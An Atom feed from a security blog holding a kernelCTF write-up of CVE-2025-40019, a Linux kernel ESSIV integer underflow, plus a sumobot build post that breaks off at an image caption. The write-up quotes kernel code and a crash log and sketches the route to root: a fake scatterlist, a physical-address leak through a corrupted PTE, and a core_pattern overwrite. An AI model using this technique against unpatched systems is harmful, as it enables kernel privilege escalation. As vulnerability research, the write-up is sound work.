<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://ollrogge.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://ollrogge.github.io/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-09-16T12:28:14+00:00</updated><id>https://ollrogge.github.io/feed.xml</id><title type="html">H0ps’s blog</title><subtitle>Notes on security research, CTFs, embedded systems, and building things.</subtitle><author><name>H0ps</name></author><entry><title type="html">Exploiting CVE-2025-40019</title><link href="https://ollrogge.github.io/cybersecurity/2026/03/15/CVE-2025-40019.html" rel="alternate" type="text/html" title="Exploiting CVE-2025-40019" /><published>2026-03-15T00:00:00+00:00</published><updated>2026-03-15T00:00:00+00:00</updated><id>https://ollrogge.github.io/cybersecurity/2026/03/15/CVE-2025-40019</id><content type="html" xml:base="https://ollrogge.github.io/cybersecurity/2026/03/15/CVE-2025-40019.html"><![CDATA[<p>CVE-2025-40019 is an integer underflow vulnerability in the crypto subsystem of the linux kernel. Specifically, the bug is in the decryption path of the esssiv wrapper.</p>

<p>The bug was exploited as part of <a href="https://google.github.io/security-research/kernelctf/rules.html">kernelCTF</a>. Below is my write-up of the vulnerability and its exploitation. The exploit was not developed entirely independently. I had to drew on ideas and approaches from the kernelCTF <a href="https://github.com/google/security-research/pull/305">submission</a> to complete it.</p>

<h2 id="essiv">ESSIV</h2>
<p>Encrypted salt-sector initialization vector (ESSIV) is an IV generation method for block encryption and is mostly used in the context of disk encryption. For this exploit we will be using <code class="language-plaintext highlighter-rouge">essiv(authenc(hmac(sha256),cbc(aes)),sha256)</code>. This is an encrypt-then-MAC construction where data is encrypted using AES-CBC with per-block ESSIV-derived IVs and an HMAC-SHA256 tag computed over the ciphertext and optionally associated data.</p>

<p>The IV is derived roughly like the following pseudocode for each encrypted block:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// init</span>
<span class="n">salt</span> <span class="o">=</span> <span class="n">sha256</span><span class="p">(</span><span class="n">enc_key</span> <span class="o">||</span> <span class="n">auth_key</span><span class="p">)</span>
<span class="n">IV_in</span> <span class="o">=</span> <span class="n">req</span><span class="o">-&gt;</span><span class="n">iv</span>

<span class="c1">// encryption &amp; decryption</span>
<span class="n">IV_out</span> <span class="o">=</span> <span class="n">AES_ECB_256_encrypt</span><span class="p">(</span><span class="n">key</span> <span class="o">=</span> <span class="n">salt</span><span class="p">,</span> <span class="n">block</span> <span class="o">=</span> <span class="n">IV_in</span><span class="p">)</span>
<span class="n">IV_in</span> <span class="o">=</span> <span class="n">IV_out</span>

</code></pre></div></div>

<h2 id="buggy-code-location">Buggy code location</h2>

<p>Inside <code class="language-plaintext highlighter-rouge">essiv_aead_crypt()</code> the subtraction of <code class="language-plaintext highlighter-rouge">req-&gt;assoclen - ivsize</code> is only checked for underflow in the <code class="language-plaintext highlighter-rouge">else</code> block. We can control the value of <code class="language-plaintext highlighter-rouge">req-&gt;assoclen</code> and trigger the underflow in the <code class="language-plaintext highlighter-rouge">if</code> block by e.g. passing a value of <code class="language-plaintext highlighter-rouge">0</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">essiv_aead_crypt</span><span class="p">(</span><span class="k">struct</span> <span class="n">aead_request</span> <span class="o">*</span><span class="n">req</span><span class="p">,</span> <span class="n">bool</span> <span class="n">enc</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">crypto_aead</span> <span class="o">*</span><span class="n">tfm</span> <span class="o">=</span> <span class="n">crypto_aead_reqtfm</span><span class="p">(</span><span class="n">req</span><span class="p">);</span>
	<span class="k">const</span> <span class="k">struct</span> <span class="n">essiv_tfm_ctx</span> <span class="o">*</span><span class="n">tctx</span> <span class="o">=</span> <span class="n">crypto_aead_ctx</span><span class="p">(</span><span class="n">tfm</span><span class="p">);</span>
	<span class="k">struct</span> <span class="n">essiv_aead_request_ctx</span> <span class="o">*</span><span class="n">rctx</span> <span class="o">=</span> <span class="n">aead_request_ctx</span><span class="p">(</span><span class="n">req</span><span class="p">);</span>
	<span class="k">struct</span> <span class="n">aead_request</span> <span class="o">*</span><span class="n">subreq</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">rctx</span><span class="o">-&gt;</span><span class="n">aead_req</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">scatterlist</span> <span class="o">*</span><span class="n">src</span> <span class="o">=</span> <span class="n">req</span><span class="o">-&gt;</span><span class="n">src</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">err</span><span class="p">;</span>

	<span class="n">crypto_cipher_encrypt_one</span><span class="p">(</span><span class="n">tctx</span><span class="o">-&gt;</span><span class="n">essiv_cipher</span><span class="p">,</span> <span class="n">req</span><span class="o">-&gt;</span><span class="n">iv</span><span class="p">,</span> <span class="n">req</span><span class="o">-&gt;</span><span class="n">iv</span><span class="p">);</span>

	<span class="cm">/*
	 * dm-crypt embeds the sector number and the IV in the AAD region, so
	 * we have to copy the converted IV into the right scatterlist before
	 * we pass it on.
	 */</span>
	<span class="n">rctx</span><span class="o">-&gt;</span><span class="n">assoc</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">req</span><span class="o">-&gt;</span><span class="n">src</span> <span class="o">==</span> <span class="n">req</span><span class="o">-&gt;</span><span class="n">dst</span> <span class="o">||</span> <span class="o">!</span><span class="n">enc</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">scatterwalk_map_and_copy</span><span class="p">(</span><span class="n">req</span><span class="o">-&gt;</span><span class="n">iv</span><span class="p">,</span> <span class="n">req</span><span class="o">-&gt;</span><span class="n">dst</span><span class="p">,</span>
					 <span class="n">req</span><span class="o">-&gt;</span><span class="n">assoclen</span> <span class="o">-</span> <span class="n">crypto_aead_ivsize</span><span class="p">(</span><span class="n">tfm</span><span class="p">),</span>
					 <span class="n">crypto_aead_ivsize</span><span class="p">(</span><span class="n">tfm</span><span class="p">),</span> <span class="mi">1</span><span class="p">);</span>
	<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
		<span class="n">u8</span> <span class="o">*</span><span class="n">iv</span> <span class="o">=</span> <span class="p">(</span><span class="n">u8</span> <span class="o">*</span><span class="p">)</span><span class="n">aead_request_ctx</span><span class="p">(</span><span class="n">req</span><span class="p">)</span> <span class="o">+</span> <span class="n">tctx</span><span class="o">-&gt;</span><span class="n">ivoffset</span><span class="p">;</span>
		<span class="kt">int</span> <span class="n">ivsize</span> <span class="o">=</span> <span class="n">crypto_aead_ivsize</span><span class="p">(</span><span class="n">tfm</span><span class="p">);</span>
		<span class="kt">int</span> <span class="n">ssize</span> <span class="o">=</span> <span class="n">req</span><span class="o">-&gt;</span><span class="n">assoclen</span> <span class="o">-</span> <span class="n">ivsize</span><span class="p">;</span>
		<span class="k">struct</span> <span class="n">scatterlist</span> <span class="o">*</span><span class="n">sg</span><span class="p">;</span>
		<span class="kt">int</span> <span class="n">nents</span><span class="p">;</span>

		<span class="k">if</span> <span class="p">(</span><span class="n">ssize</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
			<span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>

    	<span class="p">...</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=6bb73db6948c2de23e407fe1b7ef94bf02b7529f">patch</a> for this vulnerability simply adds the underflow check before the <code class="language-plaintext highlighter-rouge">if</code> block so that it covers both cases.</p>

<h2 id="effects-of-the-underflow">Effects of the underflow</h2>
<p>As a result of the underflow, the <code class="language-plaintext highlighter-rouge">start</code> parameter of <a href="https://github.com/torvalds/linux/blob/229c586b5e86979badb7cb0d38717b88a9e95ddd/include/crypto/scatterwalk.h#L285">scatterwalk_map_and_copy()</a> which in turn calls <a href="https://github.com/torvalds/linux/blob/229c586b5e86979badb7cb0d38717b88a9e95ddd/crypto/scatterwalk.c#L91">memcpy_to_sglist()</a> in the decryption case, is huge.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">memcpy_to_sglist</span><span class="p">(</span><span class="k">struct</span> <span class="n">scatterlist</span> <span class="o">*</span><span class="n">sg</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">start</span><span class="p">,</span>
		      <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">nbytes</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">scatter_walk</span> <span class="n">walk</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="n">nbytes</span> <span class="o">==</span> <span class="mi">0</span><span class="p">))</span> <span class="cm">/* in case sg == NULL */</span>
		<span class="k">return</span><span class="p">;</span>

	<span class="n">scatterwalk_start_at_pos</span><span class="p">(</span><span class="o">&amp;</span><span class="n">walk</span><span class="p">,</span> <span class="n">sg</span><span class="p">,</span> <span class="n">start</span><span class="p">);</span>
	<span class="n">memcpy_to_scatterwalk</span><span class="p">(</span><span class="o">&amp;</span><span class="n">walk</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">nbytes</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>As the name implies, <code class="language-plaintext highlighter-rouge">memcpy_to_sglist()</code> is like <code class="language-plaintext highlighter-rouge">memcpy()</code>, but the destination is a scatterlist rather than a plain buffer. A <a href="https://github.com/torvalds/linux/blob/229c586b5e86979badb7cb0d38717b88a9e95ddd/include/linux/scatterlist.h#L11-L23">scatterlist</a> is a kernel data structure that enables working on physical memory frames that are scattered through memory as if they were continous. Each segment is represented by one <code class="language-plaintext highlighter-rouge">struct scatterlist</code> entry. Multiple entries are chained to describe a logical contiguous byte stream. Leaving out some details, <code class="language-plaintext highlighter-rouge">struct scatterlist</code> can be represented like this:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
    <span class="kt">uint64_t</span> <span class="n">page_link</span><span class="p">;</span>
    <span class="kt">uint32_t</span> <span class="n">offset</span><span class="p">;</span>
    <span class="kt">uint32_t</span> <span class="n">length</span><span class="p">;</span>
    <span class="kt">uint8_t</span> <span class="n">pad</span><span class="p">[</span><span class="mh">0x10</span><span class="p">];</span>
<span class="p">}</span> <span class="n">scatter_list_t</span><span class="p">;</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">page_link</code> member encodes a <code class="language-plaintext highlighter-rouge">struct page*</code> as well as <code class="language-plaintext highlighter-rouge">scatterlist</code> control bits.</p>

<p>To figure out where to start writing, <code class="language-plaintext highlighter-rouge">memcpy_to_sglist()</code> calls <a href="https://github.com/torvalds/linux/blob/229c586b5e86979badb7cb0d38717b88a9e95ddd/include/crypto/scatterwalk.h#L93-L104">scatterwalk_start_at_pos()</a> with our underflowed <code class="language-plaintext highlighter-rouge">start</code> parameter. <code class="language-plaintext highlighter-rouge">scatterwalk_start_at_pos()</code> advances over scatterlist segments until it reaches the segment containing byte offset <code class="language-plaintext highlighter-rouge">pos</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">scatterwalk_start_at_pos</span><span class="p">(</span><span class="k">struct</span> <span class="n">scatter_walk</span> <span class="o">*</span><span class="n">walk</span><span class="p">,</span>
					    <span class="k">struct</span> <span class="n">scatterlist</span> <span class="o">*</span><span class="n">sg</span><span class="p">,</span>
					    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">pos</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">while</span> <span class="p">(</span><span class="n">pos</span> <span class="o">&gt;</span> <span class="n">sg</span><span class="o">-&gt;</span><span class="n">length</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">pos</span> <span class="o">-=</span> <span class="n">sg</span><span class="o">-&gt;</span><span class="n">length</span><span class="p">;</span>
		<span class="n">sg</span> <span class="o">=</span> <span class="n">sg_next</span><span class="p">(</span><span class="n">sg</span><span class="p">);</span>
	<span class="p">}</span>
	<span class="n">walk</span><span class="o">-&gt;</span><span class="n">sg</span> <span class="o">=</span> <span class="n">sg</span><span class="p">;</span>
	<span class="n">walk</span><span class="o">-&gt;</span><span class="n">offset</span> <span class="o">=</span> <span class="n">sg</span><span class="o">-&gt;</span><span class="n">offset</span> <span class="o">+</span> <span class="n">pos</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>To understand how <code class="language-plaintext highlighter-rouge">sg_next()</code> works, it helps to treat a scatterlist as one logical stream made of many <code class="language-plaintext highlighter-rouge">struct scatterlist</code> entries, where each entry describes one segment. Those entries are often stored in fixed-size arrays inside wrapper structs (for example <a href="https://github.com/torvalds/linux/blob/229c586b5e86979badb7cb0d38717b88a9e95ddd/include/crypto/if_alg.h#L58-L62">af_alg_sgl</a>). To support more entires, multiple arrays can also be linked via chaining.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">af_alg_sgl</span> <span class="p">{</span>
	<span class="k">struct</span> <span class="n">sg_table</span> <span class="n">sgt</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">scatterlist</span> <span class="n">sgl</span><span class="p">[</span><span class="n">ALG_MAX_PAGES</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
	<span class="n">bool</span> <span class="n">need_unpin</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>

<p>If more than <code class="language-plaintext highlighter-rouge">ALG_MAX_PAGES</code> pages are required, the last member of the <code class="language-plaintext highlighter-rouge">sgl</code> array acts as a pointer to the next array.</p>

<p>Equipped with this knowledge, the <a href="https://github.com/torvalds/linux/blob/229c586b5e86979badb7cb0d38717b88a9e95ddd/include/linux/scatterlist.h#L107-L117">sg_next()</a> function is straightforward:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="k">struct</span> <span class="n">scatterlist</span> <span class="o">*</span><span class="nf">sg_next</span><span class="p">(</span><span class="k">struct</span> <span class="n">scatterlist</span> <span class="o">*</span><span class="n">sg</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">sg_is_last</span><span class="p">(</span><span class="n">sg</span><span class="p">))</span>
		<span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>

	<span class="n">sg</span><span class="o">++</span><span class="p">;</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="n">sg_is_chain</span><span class="p">(</span><span class="n">sg</span><span class="p">)))</span>
		<span class="n">sg</span> <span class="o">=</span> <span class="n">sg_chain_ptr</span><span class="p">(</span><span class="n">sg</span><span class="p">);</span>

	<span class="k">return</span> <span class="n">sg</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The function returns <code class="language-plaintext highlighter-rouge">NULL</code> in case this is the last <code class="language-plaintext highlighter-rouge">scatterlist</code>, else it jumps to the next <code class="language-plaintext highlighter-rouge">scatterlist</code> member in the array and either chains to the next array or returns <code class="language-plaintext highlighter-rouge">sg</code> immediately.</p>

<p>After <code class="language-plaintext highlighter-rouge">scatterwalk_start_at_pos()</code> has found the starting scatterlist segment, <a href="https://github.com/torvalds/linux/blob/229c586b5e86979badb7cb0d38717b88a9e95ddd/crypto/scatterwalk.c#L63-L75">memcpy_to_scatterwalk()</a> writes the input bytes into that segment and keeps advancing through subsequent segments as needed. For each segment, it temporarily maps the referenced page memory into kernel address space, copies the relevant range, and continues until all data is written.</p>

<p>If we trigger the underflow bug, we get following kernel panic:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>    1.810997] Oops: general protection fault, probably <span class="k">for </span>non-canonical address 0xca4284654a22: 0000 <span class="o">[</span><span class="c">#1] SMP NOPTI</span>
<span class="o">[</span>    1.811539] CPU: 0 UID: 1000 PID: 201 Comm: exp Not tainted 6.17.0-rc1+ <span class="c">#66 NONE</span>
<span class="o">[</span>    1.811933] Hardware name: QEMU Standard PC <span class="o">(</span>i440FX + PIIX, 1996<span class="o">)</span>, BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014
<span class="o">[</span>    1.812536] RIP: 0010:memcpy_to_scatterwalk+0x12c/0x1d0
<span class="o">[</span>    1.812819] Code: 0f b6 37 45 0f b6 47 03 e8 c1 de 72 ff 49 8b 0c 24 89 d8 83 fb 08 0f 82 01 ff ff ff 49 8b 17 48 8d 79 08 4c 89 fe 48 83 e7 f8 &lt;48&gt; 89 11 49 8b 54 07 f8 48 89 54 01 f8 48 29 f9 48 29 ce 01 d9 c1
<span class="o">[</span>    1.813794] RSP: 0018:ffffa7a4c06efb58 EFLAGS: 00010206
<span class="o">[</span>    1.814078] RAX: 0000000000000010 RBX: 0000000000000010 RCX: 0000ca4284654a22
<span class="o">[</span>    1.814453] RDX: 62c79569ff9e8cd0 RSI: ffffa093438dd070 RDI: 0000ca4284654a28
<span class="o">[</span>    1.814827] RBP: ffffa7a4c06efb88 R08: 00000000ffffdfff R09: 0000000000000001
<span class="o">[</span>    1.815211] R10: 00000000ffffdfff R11: ffffffffb64a7160 R12: ffffa7a4c06efb98
<span class="o">[</span>    1.815590] R13: 0000000000000010 R14: ffffa09345cd4a90 R15: ffffa093438dd070
<span class="o">[</span>    1.815973] FS:  00000000116ab3c0<span class="o">(</span>0000<span class="o">)</span> GS:ffffa093a4e4f000<span class="o">(</span>0000<span class="o">)</span> knlGS:0000000000000000
<span class="o">[</span>    1.816397] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
<span class="o">[</span>    1.816700] CR2: 00007ffff9a56320 CR3: 0000000103945003 CR4: 0000000000772ef0
<span class="o">[</span>    1.817080] PKRU: 55555554
<span class="o">[</span>    1.817229] Call Trace:
<span class="o">[</span>    1.817372]  &lt;TASK&gt;
<span class="o">[</span>    1.817495]  memcpy_to_sglist+0xe2/0x120
<span class="o">[</span>    1.817706]  essiv_aead_crypt+0x1c4/0x320
<span class="o">[</span>    1.817929]  aead_recvmsg+0x52f/0x660
<span class="o">[</span>    1.818136]  sock_recvmsg+0xad/0xc0
<span class="o">[</span>    1.818333]  ____sys_recvmsg+0x97/0x1f0
<span class="o">[</span>    1.818543]  ___sys_recvmsg+0x90/0xe0
<span class="o">[</span>    1.818742]  __sys_recvmsg+0x84/0xe0
<span class="o">[</span>    1.818944]  do_syscall_64+0x5d/0x200
<span class="o">[</span>    1.819161]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
</code></pre></div></div>

<p>The panic happens inside <code class="language-plaintext highlighter-rouge">memcpy_to_scatterwalk()</code> which tries to access an out-of-bounds <code class="language-plaintext highlighter-rouge">struct scatterlist</code> returned by <code class="language-plaintext highlighter-rouge">sg_next()</code> due to the underflowed <code class="language-plaintext highlighter-rouge">pos</code>. <code class="language-plaintext highlighter-rouge">memcpy_to_scatterwalk()</code> dereferences an invalid <code class="language-plaintext highlighter-rouge">struct page</code> pointer encoded in the <code class="language-plaintext highlighter-rouge">page_link</code> field, leading to a general protection fault.</p>

<p>Depending on how you setup the arguments to trigger the bug, the stack trace might look different, but all crashes originate from the resulting out-of-bounds traversal of the scatterlist and access to invalid <code class="language-plaintext highlighter-rouge">struct scatterlist</code> entries.</p>

<h2 id="linux-kernel-crypto-api">Linux kernel crypto API</h2>
<p>Communication with the Linux kernel crypto API from userspace works via sockets of type <code class="language-plaintext highlighter-rouge">AF_ALG</code>. Cryptographic operations are created using the <code class="language-plaintext highlighter-rouge">send</code> system call family and results obtained with the <code class="language-plaintext highlighter-rouge">recv</code> system call family. A request is stored by the kernel inside a TX SGL (transmit scatter-gather list) represented by <a href="https://github.com/torvalds/linux/blob/229c586b5e86979badb7cb0d38717b88a9e95ddd/include/crypto/if_alg.h#L64-L69">struct af_alg_tsgl</a>. The result is written via a RX SGL (receive scatter-gather list) represented by <a href="https://github.com/torvalds/linux/blob/229c586b5e86979badb7cb0d38717b88a9e95ddd/include/crypto/if_alg.h#L74-L79">struct af_alg_rsgl</a> which is backed by user-supplied buffers mapped into kernel space.</p>

<h2 id="exploitation">Exploitation</h2>
<p>To exploit this vulnerability and elevate privileges to root, the best case scenario would be to control the <code class="language-plaintext highlighter-rouge">page_link</code> member of a <code class="language-plaintext highlighter-rouge">struct scatterlist</code> and have <code class="language-plaintext highlighter-rouge">memcpy_to_scatterwalk()</code> write controlled data to a chosen physical page frame. For this vulnerability we can gain a write equal to the size of the IV, which is 16 bytes in this case.</p>

<p>To achieve this, the exploit has two parts:</p>
<ol>
  <li>Get the corruption of the scatterlist into a controllable state to control the <code class="language-plaintext highlighter-rouge">struct scatterlist</code> which <code class="language-plaintext highlighter-rouge">memcpy_to_scatterwalk()</code> uses for the write.</li>
  <li>Leverage this control to leak the physical base address of the kernel and use it to write chosen data to arbitrary kernel memory by corrupting a PTE.</li>
</ol>

<h3 id="1-gaining-control-over-the-corrupted-scatterlist">1. Gaining control over the corrupted scatterlist</h3>
<p>Gaining control over the corrupted scatterlist is only made possible by <code class="language-plaintext highlighter-rouge">areq-&gt;rgsl_list</code> being left uninitialized inside <a href="https://github.com/torvalds/linux/blob/229c586b5e86979badb7cb0d38717b88a9e95ddd/crypto/af_alg.c#L1233-L1290"> af_alg_get_rsgl()</a> if the <code class="language-plaintext highlighter-rouge">maxsize</code> parameter is 0. <code class="language-plaintext highlighter-rouge">areq-&gt;rgsl_list</code> is a list of <code class="language-plaintext highlighter-rouge">struct af_alg_rsgl</code> entries that contain scatterlists pointing to userspace <code class="language-plaintext highlighter-rouge">recvmsg</code> destination buffers where the result of a crypto request will be written to. When this member is being left uninitialized it may contain a pointer to the <code class="language-plaintext highlighter-rouge">rsgl_list</code> of a previous request.</p>

<p>We can exploit this by reclaiming the chunk referenced by the pointer and thereby gaining control over the corrupted scatterlist. This is achieved by writing a fake <code class="language-plaintext highlighter-rouge">struct scatterlist</code> array into the reclaimed chunk. To do so, we trigger an allocation from the kmalloc-1k cache, since <code class="language-plaintext highlighter-rouge">struct af_alg_rsgl</code> has a size of 592 bytes and is allocated from this cache.</p>

<p>To force <code class="language-plaintext highlighter-rouge">maxsize</code> to be 0 we create a request that tries to decrypt data of length equal to the authentication tag, such that <a href="https://github.com/torvalds/linux/blob/229c586b5e86979badb7cb0d38717b88a9e95ddd/crypto/algif_aead.c#L119-L120">outlen</a>, which is being passed as <code class="language-plaintext highlighter-rouge">maxsize</code> to <code class="language-plaintext highlighter-rouge">af_alg_get_rsgl()</code>, is 0.</p>

<blockquote>
  <p><code class="language-plaintext highlighter-rouge">struct af_alg_async_req</code> being left partly uninitialized has also been <a href="https://git.kernel.org/pub/scm/linux/kernel/git/herbert/cryptodev-2.6.git/commit/?id=6f6e309328d53a10c0fe1f77dec2db73373179b6">patched</a>.</p>
</blockquote>

<h3 id="2-leveraging-control-over-the-corrupted-scatterlist-to-leak-the-physical-base-address-of-the-kernel-and-gaining-arbitrary-write-to-kernel-memory">2. Leveraging control over the corrupted scatterlist to leak the physical base address of the kernel and gaining arbitrary write to kernel memory</h3>

<p>Having gained control over the corrupted <code class="language-plaintext highlighter-rouge">scatterlist</code> gives us control over the <code class="language-plaintext highlighter-rouge">pos</code> entry inside <code class="language-plaintext highlighter-rouge">scatterwalk_start_at_pos()</code>, however we can not write to arbitrary physical addresses just yet, since we do not have a kernel heap leak which would allow us to craft a pointer to a <code class="language-plaintext highlighter-rouge">struct page</code>. We can however abuse our control over the corrupted scatterlist to achieve a write of controlled data to the physical frame that backed a <code class="language-plaintext highlighter-rouge">struct scatterlist</code> of a previous request by leveraging the chaining behavior of scatterlists:
To achieve in-place decryption, the RX SGL is <a href="https://github.com/torvalds/linux/blob/229c586b5e86979badb7cb0d38717b88a9e95ddd/crypto/algif_aead.c#L206-L222">chained</a> to the part of the TX SGL that holds the authentication tag. By crafting our fake <code class="language-plaintext highlighter-rouge">struct scatterlist</code> array in a specific way, we can acieve a write to the physical frame backing the scatterlist of that TX SGL.</p>

<p>The comments in my exploit best explain how this was achieved based on creating a fake <code class="language-plaintext highlighter-rouge">struct scatterlist</code> array:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// static inline void scatterwalk_start_at_pos(struct scatter_walk *walk,</span>
<span class="c1">//					    struct scatterlist *sg,</span>
<span class="c1">//					    unsigned int pos)</span>
<span class="c1">//{</span>
<span class="c1">//	while (pos &gt; sg-&gt;length) {</span>
<span class="c1">//		pos -= sg-&gt;length;</span>
<span class="c1">//		sg = sg_next(sg);</span>
<span class="c1">//	}</span>
<span class="c1">//	walk-&gt;sg = sg;</span>
<span class="c1">//	walk-&gt;offset = sg-&gt;offset + pos;</span>
<span class="c1">// }</span>
<span class="c1">//</span>
<span class="c1">// Fake scatterlist array. Because of underflow `pos` == 0xffffffe0, so set</span>
<span class="c1">// `length` to the same value to make the loop inside</span>
<span class="c1">// `scatterwalk_start_at_pos()` stop. `sg = sg_next(sg)` will **chain** to</span>
<span class="c1">// stale TX SGL that used to contain authentication tag of a previous request.</span>

<span class="n">scatter_list_t</span> <span class="o">*</span><span class="n">li</span> <span class="o">=</span> <span class="p">(</span><span class="n">scatter_list_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">spray_payload</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">);</span>
<span class="c1">// 0xf = ALG_MAX_PAGES =&gt; next entry is chain entry</span>
<span class="n">li</span><span class="p">[</span><span class="mh">0xf</span><span class="p">].</span><span class="n">page_link</span> <span class="o">=</span> <span class="mh">0x41414140</span><span class="p">;</span>
<span class="n">li</span><span class="p">[</span><span class="mh">0xf</span><span class="p">].</span><span class="n">length</span> <span class="o">=</span> <span class="mh">0xffffffe0</span><span class="p">;</span>
<span class="n">li</span><span class="p">[</span><span class="mh">0xf</span><span class="p">].</span><span class="n">offset</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span>
</code></pre></div></div>

<p>We can leverage the controlled write of 16 bytes to the page frame of the freed scatterlist to obtain a physical address leak, by causing the frame to be reclaimed by a page table and corrupting a PTE to point to a frame containing a physical address that is at a known offset relative to the kernel base. For more information about this technique, refer to <a href="https://u1f383.github.io/android/2025/09/08/corCTF-2025-corphone.html">this</a> blog post (<code class="language-plaintext highlighter-rouge">ctrl-f</code> for <code class="language-plaintext highlighter-rouge">0x9c000</code>).</p>

<p>Once we have obtained a leak of the kernel’s physical base address, we rerun the exploit on a different CPU to obtain a fresh SLUB state and corrupt a PTE to point to <code class="language-plaintext highlighter-rouge">core_pattern</code> to elevate privileges.</p>

<p>My exploit can be found on <a href="https://github.com/Ollrogge/linux_kernel_exploits/blob/main/CVE-2025-40019.c">GitHub</a>. The KernelCTF exploit and write-up is available <a href="https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2025-40019_lts_cos_mitigation/docs/exploit.md">here</a>.</p>]]></content><author><name>H0ps</name></author><category term="cybersecurity" /><summary type="html"><![CDATA[CVE-2025-40019 is an integer underflow vulnerability in the crypto subsystem of the linux kernel. Specifically, the bug is in the decryption path of the esssiv wrapper.]]></summary></entry><entry><title type="html">Building my own sumobot</title><link href="https://ollrogge.github.io/engineering/2025/12/22/Robot.html" rel="alternate" type="text/html" title="Building my own sumobot" /><published>2025-12-22T00:00:00+00:00</published><updated>2025-12-22T00:00:00+00:00</updated><id>https://ollrogge.github.io/engineering/2025/12/22/Robot</id><content type="html" xml:base="https://ollrogge.github.io/engineering/2025/12/22/Robot.html"><![CDATA[<p>I recently finished the implementation and design of a mini sumobot by following the excellent <a href="https://www.youtube.com/playlist?list=PLS_iNJJVTtiRV0DZRDcTHnvAuDrKGPN40">embedded systems project series</a> from the YouTube channel Artful Bytes.</p>

<p>The series walks through the complete design and implementation of a mini sumobot, including writing firmware for the MCU and sensors, building a state-machine abstraction for the fighting logic, and designing a custom PCB for the robot.</p>

<p>For both the firmware and the PCB, I used the original project as a reference, while trying to design and implement some parts of the robot myself. In particular, I adopted a different software architecture while reusing code from the original project especially for sensor drivers and state machine. On the hardware side, some components used in the original PCB were not available through JLCPCB, the manufacturer I used, which required selecting alternative parts and adapting the schematic and layout accordingly.</p>

<p>I highly recommend this series to anyone interested in completing an embedded project from start to finish. Through this project, I learned a great deal about electronics, designed my own PCB using KiCad, and created a custom 3D-printable enclosure using OpenSCAD. Overall, it was an excellent hands-on learning experience that tied together firmware development, hardware design, and 3D CAD design into a single cohesive project.</p>

<h2 id="some-development-pictures-">Some development pictures :)</h2>

<p><strong>Driver development</strong></p>

<p><img src="/assets/driver_development.png" alt="Sumobot during driver development" width="400" height="300" loading="lazy" decoding="async" /></p>

<p><strong>Board bring-up</strong></p>

<p><img src="/assets/board_bring-up.png" alt="Bringing up the sumobot's custom circuit board" width="400" height="300" loading="lazy" decoding="async" /></p>

<p><strong>Robot assembly</strong></p>

<p><img src="/assets/assembly.png" alt="Assembling the sumobot" width="400" height="314" loading="lazy" decoding="async" /></p>

<p><strong>Testing of the robot</strong></p>

<p><img src="/assets/robot_testing.png" alt="Testing the assembled sumobot" width="400" height="265" loading="lazy" decoding="async" /></p>

<p><strong>Inner life of robot</strong></p>

